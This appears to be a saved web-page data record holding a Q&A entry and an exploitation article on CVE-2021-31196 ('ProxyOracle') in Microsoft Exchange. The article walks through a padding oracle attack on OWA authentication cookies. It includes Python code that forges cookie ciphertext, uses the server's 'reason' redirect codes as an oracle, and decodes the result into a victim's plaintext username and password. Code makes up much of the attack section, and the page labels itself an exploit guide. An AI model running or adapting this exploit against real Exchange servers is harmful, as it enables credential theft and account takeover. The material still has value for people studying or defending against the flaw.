[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fSTn5HgvH63sQCnq_ZZ9b-PkVp6IYDWZSfYN1QOSUxhM":3},{"id":4,"question":5,"answer":6,"answerHtml":7,"slug":8,"keywords":9,"article":10,"status":34,"aiModel":39,"aiConfidence":39,"updatedAt":51,"createdAt":51,"_status":50},328,"How can an attacker determine whether the decryption of a modified ciphertext succeeded when exploiting CVE-2021-31196?","After sending a GET request to `\u002Fowa\u002F` with the crafted cookie, the server returns a 302 redirect. The response body contains a `reason` parameter in the redirect URL. If `reason=2`, it means `InvalidCredentials` (the decryption succeeded but the credentials were invalid), confirming that the padding oracle returned a valid decryption. If `reason=3` (Timeout), the cookie has expired and the attack cannot proceed. This feedback mechanism is the core of the Padding Oracle Attack, as detailed in the open-source code example.","\u003Cp>After sending a GET request to `\u002Fowa\u002F` with the crafted cookie, the server returns a 302 redirect. The response body contains a `reason` parameter in the redirect URL. If `reason=2`, it means `InvalidCredentials` (the decryption succeeded but the credentials were invalid), confirming that the padding oracle returned a valid decryption. If `reason=3` (Timeout), the cookie has expired and the attack cannot proceed. This feedback mechanism is the core of the Padding Oracle Attack, as detailed in the open-source code example.\u003C\u002Fp>\u003Cp>\u003Ca href=\"\u002Fnews\u002Fproxyoracle-exploitation-analysis-2-cve-2021-31196\">Read the related One Day Sec article\u003C\u002Fa>\u003C\u002Fp>","how-can-an-attacker-determine-whether-the-decryption-of-a-modified-ciphertext-su-1777484156902","decryption result, 302 redirect, reason parameter, LogonReason, timeout, invalid credentials",{"id":11,"title":12,"slug":13,"description":14,"content":15,"contentHtml":30,"cover":31,"author":32,"views":19,"readingTime":33,"status":34,"publishedAt":35,"seo":36,"tags":41,"qaPairs":42,"meta":47,"updatedAt":48,"createdAt":49,"_status":50},83,"ProxyOracle Exploitation Analysis 2—CVE-2021-31196","proxyoracle-exploitation-analysis-2-cve-2021-31196","Learn how to exploit CVE-2021-31196 via Padding Oracle Attack to recover plaintext passwords from Exchange server cookies.",{"root":16},{"type":17,"format":18,"indent":19,"version":20,"children":21,"direction":29},"root","",0,1,[22],{"type":23,"format":18,"indent":19,"version":20,"children":24,"direction":29},"paragraph",[25],{"mode":26,"text":27,"type":28,"style":18,"detail":19,"format":19,"version":20},"normal","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>The previous article 'ProxyOracle Exploitation Analysis 1—CVE-2021-31195' introduced the method to obtain user cookie information. This article will explain how to recover the user's plaintext password through a Padding Oracle Attack.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Implementation Approach\u003C\u002Fli>\u003Cli>Partial Open Source Code\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Implementation Approach\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Prerequisites for implementing a Padding Oracle Attack:\u003C\u002Fp>\u003Cp>1. Obtain the ciphertext and its corresponding IV (Initialization Vector)\u003C\u002Fp>\u003Cp>2. Be able to trigger the decryption process of the ciphertext and know the decryption result\u003C\u002Fp>\u003Cp>Applied to Exchange, the specific details are as follows:\u003C\u002Fp>\u003Cp>(1) Obtain the ciphertext and the corresponding IV (Initialization Vector)\u003C\u002Fp>\u003Cp>The cadata in the Cookie information corresponds to the ciphertext, and cadataIV corresponds to the IV\u003C\u002Fp>\u003Cp>(2) Be able to trigger the decryption process of the ciphertext and know the decryption result\u003C\u002Fp>\u003Cp>We can obtain the detailed decryption process by decompiling the DLL using dnSpy, as follows:\u003C\u002Fp>\u003Cp>Use dnSpy to open the file C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\bin\\Microsoft.Exchange.FrontEndHttpProxy.dll\u003C\u002Fp>\u003Cp>Navigate sequentially to Microsoft.Exchange.HttpProxy -&gt; FbaModule -&gt; ParseCadataCookies(HttpApplication httpApplication)\u003C\u002Fp>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770018741246_0_6ac6b4dbf3.jpeg\">\u003C\u002Fp>\u003Cp>Obtain the method to trigger the ciphertext decryption process:\u003C\u002Fp>\u003Cp>Access https:\u002F\u002F\u003Curl>\u002Fowa, send a GET request packet, and ensure the Cookie includes cadata, cadataTTL, cadataKey, cadataIV, and cadataSig\u003C\u002Furl>\u003C\u002Fp>\u003Cp>Judgment of the ciphertext decryption result:\u003C\u002Fp>\u003Cp>After sending the GET request packet, a 302 redirect occurs by default, and the response content indicates whether the decryption was successful\u003C\u002Fp>\u003Cp>The decryption result can be determined by checking the definition of LogonReason\u003C\u002Fp>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770018749145_1_d889d2ffaf.jpeg\">\u003C\u002Fp>\u003Cp>From this, it can be seen that 0 represents None, here it is a format error; 1 represents Logoff; 2 represents InvalidCredentials; 3 represents Timeout; 4 represents ChangePasswordLogoff\u003C\u002Fp>\u003Cp>When attempting decryption, reason=2 indicates successful decryption\u003C\u002Fp>\u003Cp>When reason=3, it indicates that the Cookie has expired, and Padding Oracle Attack cannot be performed at this time\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The Cookie validity period for Exchange is 12 hours\u003C\u002Fp>\u003Ch2>0x03 Partial Open Source Code\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Crack the 8th byte of the 0th block\u003C\u002Fh3>\u003Cp>The complete example code implemented in Python is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>#python3\u003Cbr>import requests\u003Cbr>import base64\u003Cbr>import sys\u003Cbr>import os\u003Cbr>import re\u003Cbr>import urllib3\u003Cbr>urllib3.disable_warnings()\u003Cbr>\u003Cbr>\u003Cbr>def checkFirstByte(url, flag):\u003Cbr>    url1 = \"https:\u002F\u002F\" + url + \"\u002Fowa\u002F\"    \u003Cbr>    cadata = \"wvutFMpkBXBpxdB5WNfcJ2a5WAJaxNX7hjaEx6jKudQXGf+ZDdfhVJfgFc01+dNkS33gBeQmWAkQYNfgnVSkfg==\"\u003Cbr>    cadataTTL = \"tTjVGVGFfG9M0P6lAXm\u002Fjw==\"\u003Cbr>    cadataKey = \"oGPdBcVgmUMiC+ZN49GZYyxkfH1jVzG0jWeJ95NRyAXEhr7PKOyLlNcqmgztUHfJnpYu94zFChAW+spsrAU9jbBLvXzP+pcQZMRQ8KjIdFiwcRtIOkE3iuf+v+e+Q+NhVeEghk9eW\u002Fjq0E\u002FDjFL2MCC1yQUVEgf7JrXuQWbbocERT\u002FGybkBIddq3RZAbRUWW33jFGWlGqJWTu\u002FBBey3kD8Srhm5fvBC7rfh5MG9gdk6i\u002FaLI\u002FR3jt7khUyU4Vg3iZXYUljLpy1moX2YsZZw6CXuw4oI0t9B8RNfEAjg3LY6\u002FHR06LjrLjSHGBGIWrVVpPcM+o8L9RUajM3WUoDGaSA==\"\u003Cbr>    cadataIV = \"YJD\u002FeLSxuErTgrWO9D2AGvH1HJZhQC9eRppXZAO9gPcRQN1vICq+oYL8lehL\u002FZyv9NZsliqCwtGxKR6bPx\u002FieBAqddiYIL4uTJ646XyCSrjNUwG1Ur+1Q3+Lo0fQzjtW3HUEzvbrqwph94aaqM5BGIBCaEOC\u002F6300QI7MIKR\u002FcyyBfzjYuMJODh8SFxFKcD0nYwHfADZiAmaY+Pk5TqWfOJu6aVDy8or7Ax714JPMzcQr1bvX3VQuMQPPXpRwL0jWyHIMgZMwxzhGkfM8kA66UjFGQ07eq3ZzrDNBprmYwmgAoXFiQEop9XWUdBk2Za\u002FOGDW5gVJsk+gJmm4hz\u002FCEw==\"\u003Cbr>    cadataSig = \"jL1+ETV4nVd3cma3T75lr6t9OYKkkb4ksHsZkaGciCtxvjWDfJWo2b6oqHbWJ06W1EyN3j1fh+AYBWB95dJ892WWO027006tkgql+qoKovhkUOfk4QoT9jp3O2+xT6O14JiaNfEIZoIe6DbaEICaUYal\u002FaiwvOvviuiL1DDqz+UTxIiWDehZ1qZ6XyPNu46sVr+G21fLijD1G51ULrxUtGH0JfU56mYMOFiUgyMCpw54h\u002FkxtiBsT3qpho1hsG+sVKXLmYbdY7DJ8ELO12Ql4nhzx5lqzTpH6JFlt+MaHkx6ugR0p9wq\u002FyKbH\u002F0t+HQVSPGWwlrqiK6PkxZCNG4WPg==\"\u003Cbr>\u003Cbr>    cipher = base64.b64decode(cadata)\u003Cbr>    bs = 16\u003Cbr>    if len(cipher) % bs != 0:\u003Cbr>        raise ValueError(\"The length of `cipher` must be a multiple of `bs`\")\u003Cbr>\u003Cbr>    cipher_blocks = []\u003Cbr>    for i in range(0, len(cipher), bs):\u003Cbr>        cipher_blocks.append(cipher[i: i + bs])\u003Cbr>\u003Cbr>    bytetempdata = b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" + bytes([flag]) \u003Cbr>    bytecadata = bytetempdata + cipher_blocks[1]\u003Cbr>    base64cadata = base64.b64encode(bytecadata).decode()\u003Cbr>\u003Cbr>    cookie = {\u003Cbr>        \"cadata\": base64cadata,\u003Cbr>        \"cadataTTL\": cadataTTL,\u003Cbr>        \"cadataKey\": cadataKey,\u003Cbr>        \"cadataIV\": cadataIV,\u003Cbr>        \"cadataSig\": cadataSig,\u003Cbr>    }\u003Cbr>\u003Cbr>    headers = {\u003Cbr>        \"User-Agent\": \"Mozilla\u002F5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F81.0.4044.129 Safari\u002F537.36\"\u003Cbr>    } \u003Cbr>    response = requests.get(url1, headers=headers, cookies=cookie, verify = False, allow_redirects=False)\u003Cbr>\u003Cbr>    if response.status_code == 302 and \"reason\" in response.text:\u003Cbr>        pattern_name = re.compile(r\"reason=(.*?)\\\"&gt;here\")\u003Cbr>        name = pattern_name.findall(response.text)\u003Cbr>        print(name[0], end='')\u003Cbr>        if name[0] == \"2\":\u003Cbr>            print(\"\\ndecrypt:\")\u003Cbr>            print(bytecadata)\u003Cbr>            sys.exit(0)\u003Cbr>        else:\u003Cbr>            return False\u003Cbr>\u003Cbr>if __name__ == \"__main__\":\u003Cbr>    for flag in range(0, 256):\u003Cbr>        checkFirstByte(\"192.168.1.1\", flag)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Pay attention to the following details:\u003C\u002Fp>\u003Cp>(1) Traverse from 0x00 to 0xFF\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>for i in range(0, 256):\u003Cbr>    i = bytes([i])\u003Cbr>    print(i)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>(2) Ciphertext Block\u003C\u002Fp>\u003Cp>Block length is 16\u003C\u002Fp>\u003Cp>(3) Set allow_redirects=False when sending GET requests to disable redirection\u003C\u002Fp>\u003Ch3>2. From Padded Plaintext to Actual Plaintext\u003C\u002Fh3>\u003Cp>After completing the entire Padding Oracle Attack, we obtain a segment of padded plaintext\u003C\u002Fp>\u003Cp>The complete example code for converting padded plaintext to actual plaintext is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>#python3\u003Cbr>import base64\u003Cbr>import re\u003Cbr>\u003Cbr>def unpad(s):\u003Cbr>    exe = re.findall(\"..\", s.hex())\u003Cbr>    padding = int(exe[-1], 16)\u003Cbr>    exe = exe[::-1]\u003Cbr>\u003Cbr>    if padding == 0 or padding &gt; 16:\u003Cbr>        return 0\u003Cbr>\u003Cbr>    for i in range(padding):\u003Cbr>        if int(exe[i], 16) != padding:\u003Cbr>            return 0\u003Cbr>    return s[: -ord(s[len(s) - 1 :])]\u003Cbr>\u003Cbr>\u003Cbr>decipherbyte = b\"V\\x00z\\x00d\\x00D\\x00p\\x00Q\\x00Y\\x00X\\x00N\\x00z\\x00d\\x002\\x009\\x00y\\x00Z\\x00D\\x00E\\x00y\\x00M\\x00w\\x00=\\x00=\\x00\\x04\\x04\\x04\\x04\"\u003Cbr>decipher = unpad(decipherbyte)\u003Cbr>temp = \"XX\" + decipher.decode(\"utf_16_le\")\u003Cbr>plaintext = \"??\" + base64.b64decode(temp)[2:].decode()\u003Cbr>\u003Cbr>print(\"[+] User: \" + plaintext.split(\":\")[0])\u003Cbr>print(\"[+] Password: \" + plaintext.split(\":\")[1])\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The code execution result is shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770018759947_2_8160110e58.jpeg\">\u003C\u002Fp>\u003Cp>The following details require attention:\u003C\u002Fp>\u003Cp>(1) After obtaining the padded plaintext, PKCS7 must be used for data padding.\u003C\u002Fp>\u003Cp>(2) The actual plaintext format is username:password.\u003C\u002Fp>\u003Cp>Although the first two bytes of the plaintext cannot be decrypted, resulting in an incomplete display of the username, this does not cause any impact because the 'lgn' in the Cookie information we obtained displays the complete username.\u003C\u002Fp>\u003Ch2>0x04 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article introduces the method of restoring the user's plaintext password through a Padding Oracle Attack. The key code has been open-sourced, and the remaining parts are left for the reader to complete independently.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","text","ltr","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>The previous article 'ProxyOracle Exploitation Analysis 1—CVE-2021-31195' introduced the method to obtain user cookie information. This article will explain how to recover the user's plaintext password through a Padding Oracle Attack.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Implementation Approach\u003C\u002Fli>\u003Cli>Partial Open Source Code\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Implementation Approach\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Prerequisites for implementing a Padding Oracle Attack:\u003C\u002Fp>\u003Cp>1. Obtain the ciphertext and its corresponding IV (Initialization Vector)\u003C\u002Fp>\u003Cp>2. Be able to trigger the decryption process of the ciphertext and know the decryption result\u003C\u002Fp>\u003Cp>Applied to Exchange, the specific details are as follows:\u003C\u002Fp>\u003Cp>(1) Obtain the ciphertext and the corresponding IV (Initialization Vector)\u003C\u002Fp>\u003Cp>The cadata in the Cookie information corresponds to the ciphertext, and cadataIV corresponds to the IV\u003C\u002Fp>\u003Cp>(2) Be able to trigger the decryption process of the ciphertext and know the decryption result\u003C\u002Fp>\u003Cp>We can obtain the detailed decryption process by decompiling the DLL using dnSpy, as follows:\u003C\u002Fp>\u003Cp>Use dnSpy to open the file C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\bin\\Microsoft.Exchange.FrontEndHttpProxy.dll\u003C\u002Fp>\u003Cp>Navigate sequentially to Microsoft.Exchange.HttpProxy -&gt; FbaModule -&gt; ParseCadataCookies(HttpApplication httpApplication)\u003C\u002Fp>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770018741246_0_6ac6b4dbf3-1.jpeg\">\u003C\u002Fp>\u003Cp>Obtain the method to trigger the ciphertext decryption process:\u003C\u002Fp>\u003Cp>Access https:\u002F\u002F\u003Curl>\u002Fowa, send a GET request packet, and ensure the Cookie includes cadata, cadataTTL, cadataKey, cadataIV, and cadataSig\u003C\u002Furl>\u003C\u002Fp>\u003Cp>Judgment of the ciphertext decryption result:\u003C\u002Fp>\u003Cp>After sending the GET request packet, a 302 redirect occurs by default, and the response content indicates whether the decryption was successful\u003C\u002Fp>\u003Cp>The decryption result can be determined by checking the definition of LogonReason\u003C\u002Fp>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770018749145_1_d889d2ffaf-1.jpeg\">\u003C\u002Fp>\u003Cp>From this, it can be seen that 0 represents None, here it is a format error; 1 represents Logoff; 2 represents InvalidCredentials; 3 represents Timeout; 4 represents ChangePasswordLogoff\u003C\u002Fp>\u003Cp>When attempting decryption, reason=2 indicates successful decryption\u003C\u002Fp>\u003Cp>When reason=3, it indicates that the Cookie has expired, and Padding Oracle Attack cannot be performed at this time\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The Cookie validity period for Exchange is 12 hours\u003C\u002Fp>\u003Ch2>0x03 Partial Open Source Code\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Crack the 8th byte of the 0th block\u003C\u002Fh3>\u003Cp>The complete example code implemented in Python is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>#python3\u003Cbr>import requests\u003Cbr>import base64\u003Cbr>import sys\u003Cbr>import os\u003Cbr>import re\u003Cbr>import urllib3\u003Cbr>urllib3.disable_warnings()\u003Cbr>\u003Cbr>\u003Cbr>def checkFirstByte(url, flag):\u003Cbr>    url1 = \"https:\u002F\u002F\" + url + \"\u002Fowa\u002F\"    \u003Cbr>    cadata = \"wvutFMpkBXBpxdB5WNfcJ2a5WAJaxNX7hjaEx6jKudQXGf+ZDdfhVJfgFc01+dNkS33gBeQmWAkQYNfgnVSkfg==\"\u003Cbr>    cadataTTL = \"tTjVGVGFfG9M0P6lAXm\u002Fjw==\"\u003Cbr>    cadataKey = \"oGPdBcVgmUMiC+ZN49GZYyxkfH1jVzG0jWeJ95NRyAXEhr7PKOyLlNcqmgztUHfJnpYu94zFChAW+spsrAU9jbBLvXzP+pcQZMRQ8KjIdFiwcRtIOkE3iuf+v+e+Q+NhVeEghk9eW\u002Fjq0E\u002FDjFL2MCC1yQUVEgf7JrXuQWbbocERT\u002FGybkBIddq3RZAbRUWW33jFGWlGqJWTu\u002FBBey3kD8Srhm5fvBC7rfh5MG9gdk6i\u002FaLI\u002FR3jt7khUyU4Vg3iZXYUljLpy1moX2YsZZw6CXuw4oI0t9B8RNfEAjg3LY6\u002FHR06LjrLjSHGBGIWrVVpPcM+o8L9RUajM3WUoDGaSA==\"\u003Cbr>    cadataIV = \"YJD\u002FeLSxuErTgrWO9D2AGvH1HJZhQC9eRppXZAO9gPcRQN1vICq+oYL8lehL\u002FZyv9NZsliqCwtGxKR6bPx\u002FieBAqddiYIL4uTJ646XyCSrjNUwG1Ur+1Q3+Lo0fQzjtW3HUEzvbrqwph94aaqM5BGIBCaEOC\u002F6300QI7MIKR\u002FcyyBfzjYuMJODh8SFxFKcD0nYwHfADZiAmaY+Pk5TqWfOJu6aVDy8or7Ax714JPMzcQr1bvX3VQuMQPPXpRwL0jWyHIMgZMwxzhGkfM8kA66UjFGQ07eq3ZzrDNBprmYwmgAoXFiQEop9XWUdBk2Za\u002FOGDW5gVJsk+gJmm4hz\u002FCEw==\"\u003Cbr>    cadataSig = \"jL1+ETV4nVd3cma3T75lr6t9OYKkkb4ksHsZkaGciCtxvjWDfJWo2b6oqHbWJ06W1EyN3j1fh+AYBWB95dJ892WWO027006tkgql+qoKovhkUOfk4QoT9jp3O2+xT6O14JiaNfEIZoIe6DbaEICaUYal\u002FaiwvOvviuiL1DDqz+UTxIiWDehZ1qZ6XyPNu46sVr+G21fLijD1G51ULrxUtGH0JfU56mYMOFiUgyMCpw54h\u002FkxtiBsT3qpho1hsG+sVKXLmYbdY7DJ8ELO12Ql4nhzx5lqzTpH6JFlt+MaHkx6ugR0p9wq\u002FyKbH\u002F0t+HQVSPGWwlrqiK6PkxZCNG4WPg==\"\u003Cbr>\u003Cbr>    cipher = base64.b64decode(cadata)\u003Cbr>    bs = 16\u003Cbr>    if len(cipher) % bs != 0:\u003Cbr>        raise ValueError(\"The length of `cipher` must be a multiple of `bs`\")\u003Cbr>\u003Cbr>    cipher_blocks = []\u003Cbr>    for i in range(0, len(cipher), bs):\u003Cbr>        cipher_blocks.append(cipher[i: i + bs])\u003Cbr>\u003Cbr>    bytetempdata = b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" + bytes([flag]) \u003Cbr>    bytecadata = bytetempdata + cipher_blocks[1]\u003Cbr>    base64cadata = base64.b64encode(bytecadata).decode()\u003Cbr>\u003Cbr>    cookie = {\u003Cbr>        \"cadata\": base64cadata,\u003Cbr>        \"cadataTTL\": cadataTTL,\u003Cbr>        \"cadataKey\": cadataKey,\u003Cbr>        \"cadataIV\": cadataIV,\u003Cbr>        \"cadataSig\": cadataSig,\u003Cbr>    }\u003Cbr>\u003Cbr>    headers = {\u003Cbr>        \"User-Agent\": \"Mozilla\u002F5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F81.0.4044.129 Safari\u002F537.36\"\u003Cbr>    } \u003Cbr>    response = requests.get(url1, headers=headers, cookies=cookie, verify = False, allow_redirects=False)\u003Cbr>\u003Cbr>    if response.status_code == 302 and \"reason\" in response.text:\u003Cbr>        pattern_name = re.compile(r\"reason=(.*?)\\\"&gt;here\")\u003Cbr>        name = pattern_name.findall(response.text)\u003Cbr>        print(name[0], end='')\u003Cbr>        if name[0] == \"2\":\u003Cbr>            print(\"\\ndecrypt:\")\u003Cbr>            print(bytecadata)\u003Cbr>            sys.exit(0)\u003Cbr>        else:\u003Cbr>            return False\u003Cbr>\u003Cbr>if __name__ == \"__main__\":\u003Cbr>    for flag in range(0, 256):\u003Cbr>        checkFirstByte(\"192.168.1.1\", flag)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Pay attention to the following details:\u003C\u002Fp>\u003Cp>(1) Traverse from 0x00 to 0xFF\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>for i in range(0, 256):\u003Cbr>    i = bytes([i])\u003Cbr>    print(i)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>(2) Ciphertext Block\u003C\u002Fp>\u003Cp>Block length is 16\u003C\u002Fp>\u003Cp>(3) Set allow_redirects=False when sending GET requests to disable redirection\u003C\u002Fp>\u003Ch3>2. From Padded Plaintext to Actual Plaintext\u003C\u002Fh3>\u003Cp>After completing the entire Padding Oracle Attack, we obtain a segment of padded plaintext\u003C\u002Fp>\u003Cp>The complete example code for converting padded plaintext to actual plaintext is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>#python3\u003Cbr>import base64\u003Cbr>import re\u003Cbr>\u003Cbr>def unpad(s):\u003Cbr>    exe = re.findall(\"..\", s.hex())\u003Cbr>    padding = int(exe[-1], 16)\u003Cbr>    exe = exe[::-1]\u003Cbr>\u003Cbr>    if padding == 0 or padding &gt; 16:\u003Cbr>        return 0\u003Cbr>\u003Cbr>    for i in range(padding):\u003Cbr>        if int(exe[i], 16) != padding:\u003Cbr>            return 0\u003Cbr>    return s[: -ord(s[len(s) - 1 :])]\u003Cbr>\u003Cbr>\u003Cbr>decipherbyte = b\"V\\x00z\\x00d\\x00D\\x00p\\x00Q\\x00Y\\x00X\\x00N\\x00z\\x00d\\x002\\x009\\x00y\\x00Z\\x00D\\x00E\\x00y\\x00M\\x00w\\x00=\\x00=\\x00\\x04\\x04\\x04\\x04\"\u003Cbr>decipher = unpad(decipherbyte)\u003Cbr>temp = \"XX\" + decipher.decode(\"utf_16_le\")\u003Cbr>plaintext = \"??\" + base64.b64decode(temp)[2:].decode()\u003Cbr>\u003Cbr>print(\"[+] User: \" + plaintext.split(\":\")[0])\u003Cbr>print(\"[+] Password: \" + plaintext.split(\":\")[1])\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The code execution result is shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770018759947_2_8160110e58-1.jpeg\">\u003C\u002Fp>\u003Cp>The following details require attention:\u003C\u002Fp>\u003Cp>(1) After obtaining the padded plaintext, PKCS7 must be used for data padding.\u003C\u002Fp>\u003Cp>(2) The actual plaintext format is username:password.\u003C\u002Fp>\u003Cp>Although the first two bytes of the plaintext cannot be decrypted, resulting in an incomplete display of the username, this does not cause any impact because the 'lgn' in the Cookie information we obtained displays the complete username.\u003C\u002Fp>\u003Ch2>0x04 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article introduces the method of restoring the user's plaintext password through a Padding Oracle Attack. The key code has been open-sourced, and the remaining parts are left for the reader to complete independently.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>",1367,"Onedaysec",4,"published","2026-02-02T08:06:59.415Z",{"title":37,"description":14,"keywords":38,"ogImage":39,"canonicalUrl":39,"noIndex":40},"ProxyOracle CVE-2021-31196 Exploit: Padding Oracle Attack Guide","ProxyOracle, CVE-2021-31196, Padding Oracle Attack, Exchange exploit, password recovery, cybersecurity",null,false,[],{"docs":43,"hasNextPage":40},[4,44,45,46],327,326,325,{"title":39,"description":39,"image":39},"2026-07-24T15:37:14.133Z","2026-07-23T16:01:22.990Z","draft","2026-07-23T16:05:24.038Z"]